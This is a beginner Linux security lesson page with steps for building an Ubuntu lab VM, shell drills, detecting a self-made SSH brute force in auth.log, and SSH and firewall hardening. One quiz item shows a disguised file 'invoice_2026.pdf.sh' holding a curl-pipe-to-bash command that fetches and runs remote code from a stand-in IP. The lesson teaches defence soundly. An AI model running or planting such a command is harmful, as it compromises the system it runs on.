Learn / Stage 2: Linux / Lesson 2.2

$ lesson 2.2 --stage linux --lab

Linux Hands-On Lab

Enough reading. Warm up in a safe browser shell with a real looking attack hidden in its logs, then build your own Ubuntu VM, drill the commands you will use every day, catch an SSH brute force you create yourself, and lock the machine down.

  • Stage 2 Linux
  • Level Beginner to intermediate
  • 90 min
  • 5 sections, quiz, lab

Start the lesson Jump to the lab

By the end of this lesson you can

  • Set up a safe Ubuntu lab VM with NAT and host-only networking and snapshots
  • Complete nine shell missions covering files, permissions and log analysis
  • Use find, grep, awk, sort and uniq to answer real investigation questions
  • Investigate SSH failures in auth.log and journalctl and write an incident note
  • Harden SSH and the firewall and verify the result
2.2.01

Build your Linux lab the right way

A lab is a set of machines that belong to you, isolated from anything you do not own, that you can break and restore at will. A laptop with 8 GB of RAM is enough to start.

Lab VM settings
SettingRecommendedWhy
HypervisorVirtualBox (free) or VMware Workstation Pro (now free for personal use)runs VMs on Windows, Linux or Intel Macs; Apple Silicon Macs use UTM with ARM images
Guest OSUbuntu Server or Desktop 24.04 LTSwhat real servers run; Desktop is friendlier at first
CPU and RAM2 vCPU, 2 to 4 GB RAMleave at least half your RAM for the host
Disk25 GB, dynamically allocatedonly uses space as it fills
Adapter 1NATinternet access for updates, hidden from your home network
Adapter 2Host-onlylets your own PC SSH into the VM on a private network
VirtualBox network modes
Network modeVM can reach internetOther devices on your Wi-Fi can reach VMUse it for
NATyesnodefault, safe, updates
Host-onlynono, only your PCSSH and lab traffic between your own machines
Internal networknono, only other VMsisolated attacker and victim VMs
Bridgedyesyes, VM is like a new device on your networkavoid for vulnerable or attack VMs

Snapshots are your undo button. Take one after installation and before every risky exercise.

More detail on safe setups is in how to set up a safe home lab.

2.2.02

Warm up: nine missions in a safe browser shell

Before touching your VM, practise in this simulated shell. It behaves like Ubuntu for the common commands, and it contains a real looking /var/log/auth.log with an SSH brute force attack in it. Your missions are on the right. Press Tab to complete names and Up for history.

student@cwm-lab: Linux lab shell

Missions 0/9

    Simulated in your browser. Nothing runs on a real machine.

    Stuck? Each mission has a hint button. Reset restores the starting files.

    2.2.03

    On your VM: eight drills that cover daily work

    Now repeat it for real. Open a terminal in your Ubuntu VM and work through each drill. Read what each command prints before moving on; that is where the learning happens.

    1. Navigation and files

    $ cd ~ && mkdir -p practice/{logs,scripts,notes}
    $ cd practice && tree . || ls -R
    $ cp /etc/hosts notes/ && mv notes/hosts notes/hosts.bak
    $ rm -r notes && ls

    Use sudo apt install tree if tree is missing. Brace expansion {a,b} made three folders at once.

    2. Find things

    $ find /etc -name '*.conf' 2>/dev/null | head
    $ find ~ -type f -mmin -60
    $ grep -rn 'PermitRootLogin' /etc/ssh/ 2>/dev/null
    $ which python3 && file $(which python3)

    -mmin -60 means changed in the last 60 minutes: a quick way to see what an intruder just touched.

    3. Text processing

    $ sudo grep -c 'session opened' /var/log/auth.log
    $ cut -d: -f1,7 /etc/passwd | head
    $ sudo tail -f /var/log/auth.log
    # press Ctrl+C to stop following

    Keep tail -f running in one terminal while you log in over SSH from another, and watch the lines appear live.

    4. Permissions

    $ echo 'echo hello from script' > hello.sh
    $ ./hello.sh
    $ chmod 750 hello.sh && ls -l hello.sh && ./hello.sh
    $ sudo chown root:root hello.sh && ls -l hello.sh

    The first run fails with Permission denied. After chmod it works. After chown to root, try echo x >> hello.sh and see it refused.

    5. Users and sudo

    $ sudo adduser intern
    $ id intern && sudo -l -U intern
    $ su - intern
    $ sudo whoami
    $ exit

    As intern, sudo is refused because intern is not in the sudo group. Remove the account afterwards with sudo deluser --remove-home intern.

    6. Packages and updates

    $ sudo apt update && apt list --upgradable
    $ sudo apt upgrade -y
    $ sudo apt install -y htop net-tools
    $ apt show openssh-server | head

    Check whether unattended-upgrades is installed: systemctl status unattended-upgrades.

    7. Processes and services

    $ ps aux --sort=-%mem | head
    $ sleep 600 & 
    $ jobs && pgrep -a sleep
    $ kill %1
    $ systemctl list-units --type=service --state=running

    Background a job with &, find it, and stop it.

    8. Networking from the shell

    $ ip -br a && ip route
    $ sudo ss -tulnp
    $ curl -sI https://www.cyberwithmadhav.com | head -5
    $ dig +short cyberwithmadhav.com

    Match every listening port in ss to a program.

    2.2.04

    Mini investigation: catch an SSH brute force on your own VM

    Now you will attack your own VM in the gentlest possible way, a few wrong passwords from your own PC, and then investigate it like a SOC analyst.

    1. Install and start SSH on the VM: sudo apt install -y openssh-server, then systemctl status ssh.
    2. Find the host-only address: ip -br a, usually something like 192.168.56.101.
    3. From your own PC (Windows Terminal and macOS both include ssh), try a user that does not exist three times and type wrong passwords: ssh fakeadmin@192.168.56.101. Then log in properly once as your real user.
    4. Investigate on the VM:
    $ sudo grep -E 'Failed password|Invalid user' /var/log/auth.log | tail
    $ sudo grep 'Failed password' /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
    $ sudo grep 'Accepted' /var/log/auth.log | tail -3
    $ journalctl -u ssh --since today | grep -i fail
    $ last -a | head
    $ lastb -a | head

    Write a three line incident note: what happened, from which IP, at what time, and whether any login succeeded. That note is exactly what a level 1 SOC analyst writes many times a day.

    2.2.05

    Harden your VM: a checklist you can reuse on real servers

    # 1. Patch
    $ sudo apt update && sudo apt upgrade -y
    # 2. Firewall: allow SSH only from your host-only network
    $ sudo ufw default deny incoming
    $ sudo ufw allow from 192.168.56.0/24 to any port 22 proto tcp
    $ sudo ufw enable && sudo ufw status verbose
    # 3. SSH keys: run this on YOUR PC, not the VM
    $ ssh-keygen -t ed25519
    $ ssh-copy-id youruser@192.168.56.101

    On Windows, if ssh-copy-id is missing, copy the contents of your .pub file into ~/.ssh/authorized_keys on the VM. Confirm that key login works before the next step, or you will lock yourself out (restore your snapshot if you do).

    # 4. Turn off password and root login over SSH
    $ sudo nano /etc/ssh/sshd_config.d/10-hardening.conf
    # put these two lines in the file:
    PasswordAuthentication no
    PermitRootLogin no
    $ grep -ri passwordauthentication /etc/ssh/sshd_config.d/
    $ sudo sshd -t && sudo systemctl restart ssh

    The grep line matters: some images ship another file in sshd_config.d that sets PasswordAuthentication yes, and for each setting OpenSSH uses the first value it reads, with files in that folder read in name order. sshd -t checks the syntax before you restart. Now try ssh fakeadmin@... again: you should get Permission denied (publickey) without even a password prompt.

    Hardening checklist
    CheckCommandGood result
    Pending updatesapt list --upgradablenothing listed
    Firewallsudo ufw statusactive, only port 22 from your lab subnet
    Listening servicessudo ss -tulnponly what you expect
    UID 0 accountsawk -F: '$3==0' /etc/passwdroot only
    SUID filesfind / -perm -4000 -type f 2>/dev/nullstandard system tools only
    SSH password loginsudo sshd -T | grep -i passwordauthpasswordauthentication no

    Flashcards: do you remember?

    Tap a card to flip it. Try to answer in your head first; recalling is what makes it stick.

    Quick quiz

    Instant feedback on every answer. Score 70% or more to pass this lesson's quiz.

    Q1Which VirtualBox mode should a deliberately vulnerable VM avoid?

    Q2What does sort | uniq -c | sort -rn produce?

    Q3You disabled SSH passwords but password logins still work. What should you check first?

    Q4Before turning off password login over SSH, you must:

    Q5A file named invoice_2026.pdf.sh contains curl -s http://198.51.100.7/x | bash. What is it?

    Q6Which command lists only listening TCP and UDP ports with their programs?

    0 / 6

    Hands-on lab

    lab90 minutes in totalyour own machines only

    Lab checklist: track your VM work

    You need: VirtualBox, the Ubuntu 24.04 LTS ISO, and your own PC for the SSH steps. Tick each step as you finish it; progress stays in this browser.

    1. Build the VM

      Create the VM with the settings in section 1: NAT on adapter 1, host-only on adapter 2. Install Ubuntu and all updates.

    2. Snapshot: clean

      Power off and take a snapshot named clean.

    3. Finish the nine browser missions

      Complete every mission in the practice shell above.

    4. Complete the eight drills

      Work through all eight drills on the VM and keep your notes.

    5. Investigate the SSH failures

      Generate failures from your PC, find them in the logs and write the three line incident note.

    6. Harden and verify

      Apply the hardening steps, then confirm every row of the checklist table shows the good result.

    7. Snapshot: hardened

      Take a second snapshot named hardened. This is your base for the next stages.

    You are done when: You have a hardened Ubuntu VM with two snapshots, notes from eight drills, and an incident note about a brute force you detected yourself.

    Download the lab checklist (.txt)

    Key takeaways

    • A real lab is isolated, owned by you and restorable with snapshots.
    • grep, awk, sort and uniq answer most first questions in a Linux investigation.
    • SSH open with passwords will be brute forced; logs show it clearly.
    • Keys, no root login, a tight firewall and updates stop most of it.
    • Write down what you find. Notes and incident reports are the job.

    Finished the sections, quiz and lab? Mark the lesson complete. Progress is saved only in this browser.